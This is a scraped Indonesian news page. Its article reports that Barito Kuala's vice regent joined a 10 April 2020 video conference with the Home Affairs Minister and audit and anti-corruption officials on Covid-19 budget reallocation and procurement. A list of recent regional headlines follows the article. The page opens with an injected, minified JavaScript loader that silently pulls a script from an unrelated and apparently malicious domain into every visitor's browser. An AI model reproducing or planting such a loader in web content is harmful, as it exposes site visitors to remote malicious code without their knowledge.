(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bahas Pelaksanaan Anggaran, Wabup Batola Rahmadian Noor Vicon Bersama Mendagri


KANALKALIMANTAN, MARABAHAN – Wakil Bupati Barito Kuala (Batola) Rahmadian Noor mengikuti video conference (Vicon) yang diselenggarakan Menteri Dalam Negeri (Mendagri) Tito Carnavian bersama Kepala BPKP Muhammad Yusuf Ateh, Kepala BPK Agung Firman Sampurna, Kepala LKPP Roni Dwi Susanto, Ketua KPK Firli Bahuri, dan Kepala Kabareskrim Komjen Listyo Sigit Prabowo,  di Dinas Komunikasi dan Informatika (Diskominfo), Jumat (10/4/2020).

Selain Wabup, vicon yang membahas pelaksanaan anggaran dan pengadaan barang/jasa di daerah dalam upaya pencegahan dan penanganan penyebaran Corona Virus Disease 2019 (Covid-19) ini juga diikuti Pj Sekda Batola Abdul Manaf, Inspektur Kabupaten Batola Ismet Zulfikar, Kepala BPKAD Samson, Kabag P2BJ Tajudin, dan Kabag Humpro Hery Sasmita.

Mendagri Tito Carnavian mengatakan, dampak mewabahnya Covid-19 menyebabkan Indonesia mengalami masalah kesehatan yang bertimbal balik kepada masalah ekonomi. Oleh karenanya, strategi dalam penanganannya mengutamakan kesehatan publik. Serta menjaga ekonomi agar tidak sampai jatuh terlalu dalam.

“Krisis Covid-19 memiliki dampak ekonomi yang luar biasa. Tidak bisa ditandingi oleh krisis yang pernah dialami dunia sebelumnya. Menyebabkan berbagai sektor lumpuh,” katanya.

Dampak dari Covid-19, papar Mendagri, menyebabkan pendapatan negara dan daerah akan berkurang. Dimana hal ini jelas membawa pengaruh pada transfer ke daerah.

Walhasil, pemerintah mengeluarkan sejumlah aturan melakukan perubahan APBN dengan dikeluarkannya Perppu yang salah satunya Perubahan APBN mengarah kepada rasionalisasi. Di samping tentunya APBD juga mengalami tekanan karena pengurangan tranfer dari pusat maupun dari PAD yang ada di daerah.

Selaku pembina pemerintah daerah, papar Tito, Mendagri sudah mengeluarkan Permendagri Nomor 20 Tahun 2020 yang memberikan kewenangan kepada kepala daerah untuk melakukan realokasi dan refocus anggaran. emendagri juga telah mengeluarkan Instruksi Mendagri Nomor 1 Tahun 2020 tentang Pencegahan Penyebaran dan Percepatan Pananganan Covid-19 di lingkungan pemda. Terdapat beberapa penekanan dalam Instruksi Mendagri.

Yaitu melakukan percepatan penggunaan alokasi anggaran kegiatan tertentu (refocusing) dan perubahan alokasi anggaran untuk meningkatkan kapasitas yang difokuskan pada penanganan kesehatan, penanganan dampak ekonomi, dan penyediaan jaring pengaman sosial (social sefety net).

Kepala BPKP Muhammad Yusuf Ateh menjelaskan, dalam penanganan Covid-19, BPKP memberikan instruksi Kepala Perwakilan BPKP se-Indonesia agar secara proaktif bekerjasama dengan pemerintah daerah untuk memberikan pendampingan dalam melakukan realokasi dan refocusing kegiatan.

“Pendampingan dalam pengadaan barang dan jasa harus dilakukan secara epat, tepat dan akuntabel,” katanya.(kanalkalimantan.com/rdy)

 

Reporter : Rendy
Editor : Cell

 


Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

8 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

9 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

11 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

14 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

17 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

17 jam ago

This website uses cookies.